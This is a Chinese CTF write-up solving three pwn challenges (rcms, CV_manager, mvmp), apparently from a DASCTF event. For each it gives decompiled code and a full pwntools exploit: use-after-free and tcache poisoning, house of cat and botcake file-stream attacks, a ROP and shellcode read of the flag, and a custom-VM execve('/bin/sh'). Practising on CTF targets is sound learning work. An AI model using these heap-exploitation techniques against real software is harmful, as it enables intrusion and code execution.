0x00

简单放下 wp , 复现了一下最后的 vm

0x01 rcms

菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
int v8; // [rsp+Ch] [rbp-14h] BYREF
_QWORD *v9; // [rsp+10h] [rbp-10h]
unsigned __int64 v10; // [rsp+18h] [rbp-8h]

v10 = __readfsqword(0x28u);
init(argc, argv, envp);
sandbox(*(__int64 *)&argc, (__int64)argv, v3, v4, v5, v6);
banner();
v9 = malloc(0x20uLL);
*v9 = gift;
while ( 1 )
{
mune();
__isoc99_scanf("%d", &v8);
switch ( v8 )
{
case 1:
creat_c();
break;
case 2:
delet();
break;
case 3:
change();
break;
case 4:
show();
break;
case 5:
exit(0);
default:
continue;
}
}
}

free没清指针,uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delet()
{
signed int n0x14; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which connection do u want to delet:");
__isoc99_scanf("%d", &n0x14);
if ( (unsigned int)n0x14 > 0x14 || !*((_QWORD *)&heap_list + n0x14) )
{
puts("error!!");
exit(0);
}
free(*((void **)&heap_list + n0x14));
puts("Delet connection Done!");
return __readfsqword(0x28u) ^ v2;
}

有一个后门可以写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 gift()
{
int len; // [rsp+Ch] [rbp-1024h]
void *buf; // [rsp+10h] [rbp-1020h]
_BYTE s[4104]; // [rsp+20h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1028h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 0, 0x200uLL);
len = getpagesize();
buf = mmap((void *)0x10000, len, 7, 34, 0, 0LL);
if ( buf == (void *)-1LL )
perror("mmap");
puts("Congratulations!!");
puts("we will give u a gift!!");
puts("what are u want say to me?");
read(0, buf, 0x200uLL);
((void (*)(void))buf)();
return __readfsqword(0x28u) ^ v4;
}

同时沙箱禁止了execve,申请有限制chunk不超过 0x430(影响不大)。但这题诡异的是没给libc版本,最开始 patch 为我本地的glibc2.39house of catsetcontext来进行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 25379
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def ch(choice):
io.recvuntil(b'5.exit')
io.send(str(choice).encode() + b'\n')

def add(idx, size, content = b'\n'):
ch(1)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')
io.recvuntil(b':\n')
io.send(str(size).encode() + b'\n')
io.recvuntil(b':\n')
io.send(content)

def free(idx):
ch(2)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')

def edit(idx, content):
ch(3)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')
io.recvuntil(b':\n')
io.send(content)

def show(idx):
ch(4)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')

def ex():
ch(5)

add(0, 0x430)
add(1, 0x60)
add(10, 0x100)
free(0)
show(0)
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x3ebca0
log.info("libc_base --> "+hex(libc_base))
stdout = libc_base + libc.sym["_IO_2_1_stdout_"]

free(1)
show(1)
leak = io.recv(5)
heap_base = (u64((leak.rjust(0x6, b'\x00')).ljust(0x8, b'\x00')) - 0x100) << 4
log.info("heap_base --> "+hex(heap_base))

add(2, 0x400)
add(3, 0x400)
add(4, 0x400)
free(2)
free(3)
edit(3, p64(((heap_base + 0x1000) >> 12)^stdout))
add(5, 0x400)
#add(6, 0x400) # stdout

pop_rdi_ret = libc_base + 0x10f78b
ret = pop_rdi_ret + 1
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rsi_ret = libc_base + 0x110a7d
pop_rdx_ret = libc_base + 0xab8a1
pop_rcx_ret = libc_base + 0xa877e

fake_IO_addr = stdout

fake_IO = b'./flag' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(fake_IO_addr + 0x10) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 这里控制rdx
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym['setcontext'] + 61) # _wide_data->_wide_vtable->_IO_WOVERFLOW 覆盖为setcontext+61
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(libc_base + 0x205710) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0x10 + 0xa0, b'\x00') + p64(fake_IO_addr + 0x118) + p64(ret) # 通过rdx,打setcontext,控制rsp为fake_IO_addr + 0x118和rip为ret来执行ROP
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

pop_rsi_ret = libc_base + 0x110a7d
pop_rdx_ret = libc_base + 0xab8a1
pop_rcx_ret = libc_base + 0xa877e

set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100) + p64(pop_rdx_ret) + p64(0x100) #这里控制rdx的gadget如下
#0x72ee5a6ab8a1 <_int_malloc+817> pop rdx RDX => 0x100
#0x72ee5a6ab8a2 <_int_malloc+818> or byte ptr [rcx - 0xa], al [__pthread_keys+3894] <= 3 (0 | 3)
#0x72ee5a6ab8a5 <_int_malloc+821> ret <read>
# 如果不控制一下rcx的话程序会崩溃,所以设置为一个可读写地址
ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\
p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + set_rdx + p64(read_addr) +\
p64(pop_rdi_ret) + p64(2) + p64(pop_rsi_ret) + p64(stdout + 0x2000) + p64(write_addr)

add(6, 0x400, fake_IO + ropchain) # stdout

io.interactive()

本地可行但远程不行,远程版本是未知的
后来慢慢调试比对,发现远程得到的堆地址比我本地少0x40——这正好是tcahce_perthread_structglibc2.32+后的大小变化!于是锁定版本为glibc2.31及一下,尝试多个常见版本,最后确定为glibc2.27
这个版本仍然存在hook,直接打hook为后门即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6_2.27-3ubuntu1.6_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 25379
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/libc6-dbg_2.27-3ubuntu1.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1.6/amd64/glibc-source_2.27-3ubuntu1.6_all/usr/src/glibc/glibc-2.27
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def ch(choice):
io.recvuntil(b'5.exit')
io.send(str(choice).encode() + b'\n')

def add(idx, size, content = b'\n'):
ch(1)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')
io.recvuntil(b':\n')
io.send(str(size).encode() + b'\n')
io.recvuntil(b':\n')
io.send(content)

def free(idx):
ch(2)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')

def edit(idx, content):
ch(3)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')
io.recvuntil(b':\n')
io.send(content)

def show(idx):
ch(4)
io.recvuntil(b':\n')
io.send(str(idx).encode() + b'\n')

def ex():
ch(5)

add(0, 0x420)
add(1, 0x60)
free(0)
show(0)
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x3ebca0
log.info("libc_base --> "+hex(libc_base))

add(10, 0x430)
edit(0, b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x1290
log.info("heap_base --> "+hex(heap_base))

edit(0, p64(libc_base + 0x3ebca0 + 0x3f0)*2)

target = heap_base + 0x260
add(2, 0x100)
add(3, 0x100)
free(2)
free(3)
edit(3, p64(target))
add(4, 0x100)
add(5, 0x100)
show(5)

elf_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0xf0a
log.info("elf_base --> "+hex(elf_base))

heap_list = elf_base + 0x202040
add(6, 0x80)
add(7, 0x80)
free(6)
free(7)
edit(7, p64(heap_list))
add(8, 0x80)
add(9, 0x80) #heap_list

gift = elf_base + 0xfd8
malloc_hook = libc_base + libc.sym["__malloc_hook"]
edit(9, p64(malloc_hook))
#pause()
edit(0, p64(gift))
ch(1)
io.recvuntil(b':\n')
io.send(str(18).encode() + b'\n')
io.recvuntil(b':\n')
io.send(str(0x10).encode() + b'\n')

shellcode = asm('''
mov rdx, 0x200
push 0x67616c66
mov rdi,rsp
xor esi,esi
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
''')

io.recvuntil(b'me?')
io.send(shellcode.ljust(0x200, b'\x90'))

io.interactive()
# DASCTF{253ede2f-b5dc-4a15-ac69-9cade4ad476e}

0x02 CV_manager

逆向,还是菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
int n666; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v8; // [rsp+8h] [rbp-8h]

v8 = __readfsqword(0x28u);
init();
login();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &n666);
if ( n666 > 5 )
{
if ( n666 != 666 )
goto LABEL_13;
uaf();
}
else
{
if ( n666 > 0 )
{
switch ( n666 )
{
case 1:
add();
continue;
case 2:
edit();
continue;
case 3:
delete();
continue;
case 4:
show();
continue;
case 5:
sandbox((__int64)"%d", (__int64)&n666, v3, v4, v5, v6);
exit(0);
default:
break;
}
}
LABEL_13:
puts("bad choice!");
}
}
}

其中的login简单逆向后要求输入用户名为 r00t,密码为p9s3w0r6。有一个小插曲,输入时候多发送\x00才可通过
有一次 uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 uaf()
{
unsigned int n0x10; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_5010 )
{
dword_5010 = 0;
puts("index:");
__isoc99_scanf("%d", &n0x10);
if ( n0x10 < 0x10 )
{
if ( *((_QWORD *)&unk_5068 + 3 * (int)n0x10) )
{
free(*((void **)&unk_5068 + 3 * (int)n0x10));
if ( !strncmp(*((const char **)&unk_5060 + 3 * (int)n0x10), "CCTTFFEERR!!", 0xCuLL) )
write(1, (char *)&unk_5060 + 24 * (int)n0x10, 8uLL);
}
}
}
return v2 - __readfsqword(0x28u);

同时这一次可以泄露 elf_base,然而我的打法不需要elf_base
选项5有exit,但想利用它来打 IO 的话会加上沙箱,需要麻烦一点打orw;然而我们知道house of cat可以打stdout,只需要有输出即可触发
我们先利用这次uaf造一个dup的chunk,后续利用house of botcake泄露出libc同时进行tcache poison即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 27095
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def ch(idx):
io.recvuntil(b'Your choice:')
io.send(str(idx).encode() + b'\n')

def add(size, name = b'CCTTFFEERR!!aa'):
ch(1)
io.recvuntil(b':')
io.send(str(size).encode() + b'\n')
io.recvuntil(b':')
io.send(name)

def edit(idx, content):
ch(2)
io.recvuntil(b'modify:\n')
io.send(str(idx).encode() + b'\n')
io.recvuntil(b':')
io.send(content)

def free(idx):
ch(3)
io.recvuntil(b'remove:\n')
io.send(str(idx).encode() + b'\n')

def show(idx):
ch(4)
io.recvuntil(b'view:\n')
io.send(str(idx).encode() + b'\n')

def uaf(idx):
ch(666)
io.recvuntil(b'index:')
io.send(str(idx).encode() + b'\n')

io.recvuntil(b'username:')
io.send(b'r00t\x00')
io.recvuntil(b'password:')
io.send(b'p9s3w0r6\x00')

add(0x100) #0 pre
add(0x100) #1 victim
uaf(1)
show(1)
io.recvuntil(b'introduction:')
heap_base= (u64(io.recv(5).ljust(8, b'\x00')) << 12)
log.info("heap_base --> "+hex(heap_base))
add(0x100) #2 1 and 2 dup victim
add(0x100) #3 gap

for _ in range(7):
add(0x100) #4-10

for i in range(4, 11):
free(i) # free 4-10

free(1) # victim in unsorted bin
show(2) # 2 is dupped victim
io.recvuntil(b'introduction:')
libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x21ace0
log.info("libc_base --> "+hex(libc_base))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base

free(0) # pre -> unsortedbin consolidate 7+8

add(0x100) #0 out of tcachebin
free(2) # victim in tcache and usortedbin

add(0x200) #1 consolidated chunk

edit(1, b'a'*0x110 + p64((heap_base>>12)^stdout))

fake_IO_addr = stdout
fake_IO = b'sh' # _flags
fake_IO = fake_IO.ljust(0x10 + 0x20, b'\x00') + p64(fake_IO_addr + 0x120) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 此处我们不需要控制rdx,随便设置一个大于0的值即可,满足大于_wide_data->_IO_write_base
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym["system"]) # _wide_data->_wide_vtable->_IO_WOVERFLOW
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(fake_IO_addr + 0x120) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x10) # _wida_data
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x10 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

add(0x100) #2 victim out of tcache
add(0x100) #4 stdout
edit(4, fake_IO)

pause()

io.interactive()
# DASCTF{4ef3f0cc-81f2-42b0-815d-f5736ac72546}

0x03 mvmp

考逆向的题(确信),题目代码即使逆向后也很冗长,就不放了
整个 vm 大致将 opcode 分成了 4 个类型对应不同格式,并且给了相当多的指令,syscall 也在其中,shell 基本是点击就送
下发的 vmcode 已经事先布置好了大量 opcode,输出的 What's your name?,接收我们发送的 opcode 等交互指令都是利用事先布置的 opcode 执行的
经过调试,发现我们输入的数据会从映射内存偏移 0x2ffc0开始写入,先写 4 字节然后拼接上 0x2ffc4;剩余数据从 0x2ffc8 开始写入,最多输入 0x18 不执行的数据作为 “name”;读入 0x18 数据后,再读取 4 字节作为初始pc偏移,后续就是 opcode,也就是说,我们输入的执行的 opcode 是从 0x2ffe0开始的,所以初始 pc 偏移我们设置为 0x2ffe0

1
2
3
4
5
6
7
8
9
pwndbg> tele 0x7ffff7f7e000+0x2ffc0
00:0000│ 0x7ffff7fadfc0 ◂— 0x616161610002ffc4
01:0008│ 0x7ffff7fadfc8 ◂— 'aaaaaaaaaaaaaaaaaaaa\n'
02:0010│ 0x7ffff7fadfd0 ◂— 'aaaaaaaaaaaa\n'
03:0018│ 0x7ffff7fadfd8 ◂— 0xa61616161 /* 'aaaa\n' */
04:0020│ 0x7ffff7fadfe0 ◂— push rdi /* 0x7920732774616857; "What's your name?\n" */
05:0028│ 0x7ffff7fadfe8 ◂— outsd dx, dword ptr [rsi] /* 0x656d616e2072756f; 'our name?\n' */
06:0030│ 0x7ffff7fadff0 ◂— 0xa3f /* '?\n' */
07:0038│ 0x7ffff7fadff8 ◂— 0

所以我们可以在前 0x18 写入"/bin/sh\x00",后续调用 syscall 执行 execve("/bin/sh", 0, 0)即可
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "node5.buuoj.cn"
port = 29835
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x236d)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
class VMAssembler:
def __init__(self):
self.code = bytearray()

def get_payload(self, entry_point=0):
return p32(entry_point) + self.code

# Format 0: Opcode (1) + Imm24 (3)
def build_code0(self, base, imm):
opcode = (base << 2) | 0
# Imm24 in Big Endian
self.code += p8(opcode)
self.code += p8((imm >> 16) & 0xff)
self.code += p8((imm >> 8) & 0xff)
self.code += p8(imm & 0xff)

# Format 1: Opcode (1) + Reg (1)
def build_code1(self, base, reg):
opcode = (base << 2) | 1
self.code += p8(opcode)
self.code += p8(reg)

# Format 2: Opcode (1) + Reg1 (1) + Reg2 (1)
def build_code2(self, base, reg1, reg2):
opcode = (base << 2) | 2
self.code += p8(opcode)
self.code += p8(reg1)
self.code += p8(reg2)

# Format 3: Opcode (1) + Reg (1) + Imm32 (4)
def build_code3(self, base, reg, imm):
opcode = (base << 2) | 3
self.code += p8(opcode)
self.code += p8(reg)
self.code += p32(imm)

# Instructions
def stack_alloc(self, size):
self.build_code0(0x24, size) # $

def stack_dealloc(self, size):
self.build_code0(0x25, size) # %

def jmp(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x29, imm) # )

def jne(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2A, imm) # *

def je(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2B, imm) # +

def jl(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2C, imm) # ,

def jge(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2D, imm) # -

def jg(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2E, imm) # .

def jle(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x2F, imm) # /

def call(self, imm):
if imm > 0:
imm &= 0x7FFFFF
else:
imm |= 0x800000
self.build_code0(0x30, imm) # 0

# Syscalls (Format 0)
# 0x33: syscall(imm, r0, r1, r2, r3, r4, r5)
def syscall0(self, num):
self.build_code0(0x33, num)

# 0x34: syscall(imm, &r0, r1, r2, r3, r4, r5)
def syscall1(self, num):
self.build_code0(0x34, num)

# 0x35: syscall(imm, r0, &r1, r2, r3, r4, r5)
def syscall2(self, num):
self.build_code0(0x35, num)

# 0x36: syscall(imm, r0, r1, &r2, r3, r4, r5)
def syscall3(self, num):
self.build_code0(0x36, num)

# 0x37: syscall(imm, &r0, &r1, r2, r3, r4, r5)
def syscall4(self, num):
self.build_code0(0x37, num)

# 0x38: syscall(imm, &r0, r1, &r2, r3, r4, r5)
def syscall5(self, num):
self.build_code0(0x38, num)

# 0x39: syscall(imm, r0, &r1, &r2, r3, r4, r5)
def syscall6(self, num):
self.build_code0(0x39, num)

# 0x3A: syscall(imm, &r0, &r1, &r2, r3, r4, r5)
def syscall7(self, num):
self.build_code0(0x3A, num)

def ret(self):
self.build_code0(0x3B, 0) # ;

# Format 1
def push(self, reg):
self.build_code1(0x1F, reg)

def pop(self, reg):
self.build_code1(0x20, reg)

def inc(self, reg):
self.build_code1(0x21, reg)

def dec(self, reg):
self.build_code1(0x22, reg)

def mov_sp(self, reg):
self.build_code1(0x23, reg) # Reg = SP

def jmp_reg(self, reg):
self.build_code1(0x29, reg)

def call_reg(self, reg):
self.build_code1(0x30, reg)

# Format 2 (Reg, Reg) & Format 3 (Reg, Imm)
def cmp(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x01, r1, r2_or_imm)
else:
self.build_code2(0x01, r1, r2_or_imm)

def mov(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x03, r1, r2_or_imm)
else:
self.build_code2(0x03, r1, r2_or_imm)

def xor(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x04, r1, r2_or_imm)
else:
self.build_code2(0x04, r1, r2_or_imm)

def or_(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x05, r1, r2_or_imm)
else:
self.build_code2(0x05, r1, r2_or_imm)

def and_(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x06, r1, r2_or_imm)
else:
self.build_code2(0x06, r1, r2_or_imm)

def shl(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x07, r1, r2_or_imm)
else:
self.build_code2(0x07, r1, r2_or_imm)

def shr(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x08, r1, r2_or_imm)
else:
self.build_code2(0x08, r1, r2_or_imm)

def add(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0A, r1, r2_or_imm)
else:
self.build_code2(0x0A, r1, r2_or_imm)

def sub(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0B, r1, r2_or_imm)
else:
self.build_code2(0x0B, r1, r2_or_imm)

# Load/Store
# LDB R1, [R2/Imm]
def ldb(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0C, r1, r2_or_imm)
else:
self.build_code2(0x0C, r1, r2_or_imm)

def ldw(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0D, r1, r2_or_imm)
else:
self.build_code2(0x0D, r1, r2_or_imm)

def ldd(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0E, r1, r2_or_imm)
else:
self.build_code2(0x0E, r1, r2_or_imm)

# STB [R1], R2/Imm
def stb(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x0F, r1, r2_or_imm)
else:
self.build_code2(0x0F, r2_or_imm, r1) # Note: Format 2 is STB [Reg2], Reg1. So swap.

def stw(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x10, r1, r2_or_imm)
else:
self.build_code2(0x10, r2_or_imm, r1)

def std(self, r1, r2_or_imm):
if isinstance(r2_or_imm, int):
self.build_code3(0x11, r1, r2_or_imm)
else:
self.build_code2(0x11, r2_or_imm, r1)

# Registers
R0 = 0
R1 = 1
R2 = 2
R3 = 3
R4 = 4
R5 = 5

vm = VMAssembler()
input_data = b'r3t2' + b'/bin/sh\x00'*2
input_data = input_data.ljust(0x18, b'\x00')
vm.mov(R0, 0x2ffc8)
vm.mov(R1, 0)
vm.mov(R2, 0)
vm.syscall1(0x3b)
input_data += vm.get_payload(0x2ffe0)

io.recvuntil(b'name?\n')
io.send(input_data)

io.interactive()
# DASCTF{45a623bd-e410-4e77-9eb9-ab87e65f0765}